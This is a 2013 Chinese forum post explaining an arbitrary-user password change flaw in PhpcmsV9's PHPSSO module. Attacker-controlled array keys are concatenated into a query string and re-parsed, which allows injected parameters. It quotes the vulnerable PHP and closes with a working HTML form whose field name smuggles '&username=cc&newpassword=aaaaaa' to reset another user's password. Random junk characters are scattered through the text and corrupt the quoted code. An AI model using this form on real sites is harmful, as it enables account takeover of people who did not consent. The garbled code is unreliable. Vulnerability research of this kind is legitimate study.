找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1883|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
提到的通行证的代码:" L4 I" I' E/ b  H4 l

2 l% G) R8 h; _/ P( J0 J( @- {; s) F! P% ^; y' c
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
. O) O, b. ~- E, E8 t, ~
. Y9 j5 {# f8 b* E$ D! i在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。, X3 t8 L1 o$ h7 ?/ y* }4 b2 ]
7 [/ g+ k& q1 j1 B
我把它留给了你们。
' ~) I7 W7 z5 i' m  t! ]2 [不知道你们发现了它没有。
. @4 U9 a, }4 z9 j  r
6 w7 h( B4 B6 g& N. H我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
5 V; I1 ]" R+ q: O3 ~! @+ V( f0 j7 U" c9 B# V7 L8 M
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。" F6 K, Q! S/ Q- @! @. a
, ?* _8 D, Q% k3 a+ [
也就是
/ H  H, O) ^9 Q! c6 |  R% P+ R/ Y: e. K$ d) R
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。; |4 H% t  C$ @- ]9 v
6 p* j, z) R( R& G0 V/ [
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
5 @6 s: S" k9 [/ _5 y: R/ F6 p  R$ a: q- T

) g8 o) F) P" \% S3 x+ k其实我们有这样的机会,看看代码,如下:
. E1 D' @, |/ s, C  X. }+ n
/ H. u7 C( d( N" u
& q9 C/ J2 x: D( N3 Cpublic function auth_data($data) {( T1 U) ]2 B. R& `- L
                $s = $sep = '';
; x, f; W7 z: V                foreach($data as $k => $v) {
+ {. n/ y% n* o                        if(is_array($v)) {2 ?& J8 v& |: I" D9 h# d( A- K
                                $s2 = $sep2 = '';
/ C4 P4 j3 J4 q# n                                foreach($v as $k2 => $v2) {. `5 W; e6 K$ N1 T" R* v: t
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);& a* [" L) t7 X! b, M
                                        $sep2 = '&';
; ]0 ^0 j" H. f* q4 |+ v2 f* o                                }9 {/ |7 b! z; b
                                $s .= $sep.$s2;: e' }# k% P! m8 U2 C% W/ j
                        } else {
$ }( A" v5 J. O! R                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
4 Q7 G8 H8 v3 c                        }
, ]  v$ i: W! h- s! c& P& D                        $sep = '&';$ v$ A2 B. }! ~6 r& z
                }& R$ t* n* O6 g5 y
. Z0 c( h: ^8 R
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));, ^# E9 c( U* \
                return $auth_s;% z+ M! I& w, F+ G: K9 [0 P
        }
' w/ _7 o% x: H, m3 }. ^" x( ], j4 w- n) ?4 G
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
2 T, H4 }5 K0 C1 {/ b! b* d" P/ T1 _: s% F, o  ^
举个例子
5 N2 a2 H  k) O( i( ~1 _
' H8 {: g4 K) @  \) D+ j; J8 F$a[aaa=a&bbb] = 'a';
+ p* G  P  I/ n* ?4 Q" u/ i+ S1 e; T+ G6 W  g3 D6 l
会变成aaa=a&bbb=a+ r8 u/ [/ P, n( ?+ _

' I: b6 m4 F$ D0 p/ k) X4 ~明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
+ e# @4 `* g* B* x3 l) ~7 z! Z" t2 e( z. [) U' }+ M3 j* i+ K
这个时候,我们可以再去看一个函数。, X8 m6 `! b2 q/ T
* }# o3 o* W# b- f) z  t$ y) {) L, [
就在这个文件内:
2 U  h+ b$ Q  m* W
  \# I7 ~0 ]$ I) d2 G9 p2 Z# C4 q% q2 r; S+ Y7 u( _( ^
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {" p% p. _5 W9 Q4 d* i2 S6 y
                if($email && !$this->_is_email($email)) {
/ ^* }5 N1 u6 L5 k7 b# [                        return -4;
7 |8 U0 s2 r6 C9 _2 k                }
! r- T; M$ j$ N3 x8 x& F6 w3 c8 E  A                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));+ t' |$ ~+ V2 J& d) m
        }
6 N' _, {, R# @/ N" |" h
( q! N/ {+ N! z- w( @0 y这是向通行证发了这样一个请求。
' L9 [5 y# G7 e' i4 V+ Q8 n3 ^3 z9 x% T& L# j; S3 H
我们再跟到通信证代码里去看看,就会有所发现。
2 D0 W& f& G2 c/ S3 [% P
2 N. N& l, B; I: t3 r4 u9 N% Z: S8 x) S
public function edit() {! h6 M- V( l% Z- A3 J  j
//能省就省,太长了不是吗?4 g5 B' q* _; A. ?( q( c
) B+ u, U- F/ X1 \" q/ `4 w
if($this->username) {
1 q) w: v7 B( U  y//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
; \+ x$ V! I$ l9 k                                $res = $this->db->update($data, array('username'=>$this->username));
' N9 _' y5 N1 W( g                        } else {2 Y7 A  C+ }6 ]! r
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);, O; t% i' H8 E+ s7 e* m8 a. g
                                $res = $this->db->update($data, array('uid'=>$this->uid));
, w8 t: ^) D" n" f                        }
# ]0 l( O7 l' ~! \" ?  J( K" H
! j# `3 x6 A8 b6 g" p好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:4 ^4 j/ R( h, q7 ]" T

0 d$ I7 u: A( `  q6 T1 K6 k* T) Xpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')9 F, A% {3 X. S6 @1 w
5 U/ F/ ?; J, T
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。- G; B% k/ w' P2 f; `: _

5 W; T( J9 @5 Z! i! `我当然找到了:2 q) U8 Z! |& D9 d: @  W
phpcms9/phpcms/modules/member/index.php
6 c5 _( k& Y9 F( M7 n4 E) u' k& C4 C, v1 ]0 ^3 J
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
) r2 s! |* q# Z: B7 B, f
8 a$ v- H, L" u% G+ ?然后就没有然后了。
% p' i/ F( \  S
+ u  V4 K1 P% J) u. c, G<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
$ k' Y( N( x' {* h0 e                                <table width="100%" cellspacing="0" class="table_form">& F8 L; o; `6 H; a
                                        <tr>; G% D2 e% ]3 b* l7 \$ [4 `
                                                <th width="80">邮箱:</th>        ( ?" {% \+ f* N! Y* Q/ `3 [
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>) p3 E( M5 R. m: o: w, h
                                        </tr>
6 ~& Q' I8 o% J: i! V. P                                        <tr>9 V: l5 o5 x6 y' G# s# I: G  x  Z" d; M
                                                <th width="80">原密码:</th>        
$ W- c& p" x3 a) O+ a                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>8 [; Z: f4 W; ^3 k4 ^  k1 V
                                        </tr>' c' C4 T1 ~$ W2 C  N
                                        <tr>
. ]! O0 `; @! }  {; n                                                <th>新密码:</th>
6 S4 f& X" Q/ p! v: ?; K! [' t+ t                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
. q% w+ x( e( t; B% ~                                        </tr>& ?& S- ^( |0 z4 u' v. d
                                        <th></th>
$ [! z; i( [: [' A( \0 Z8 z                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
9 J2 P) y# N; j3 o4 S, U" a                                        </tr>
* D9 o: b  k6 W8 l  v+ ^                                </table>7 m- j, k0 e: g1 z6 H
. u- T8 b! |% c  t% }
                               
( Y3 p3 `7 p8 b% Z4 ~. {& n                        </form>
) Q5 q! A- @2 T2 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表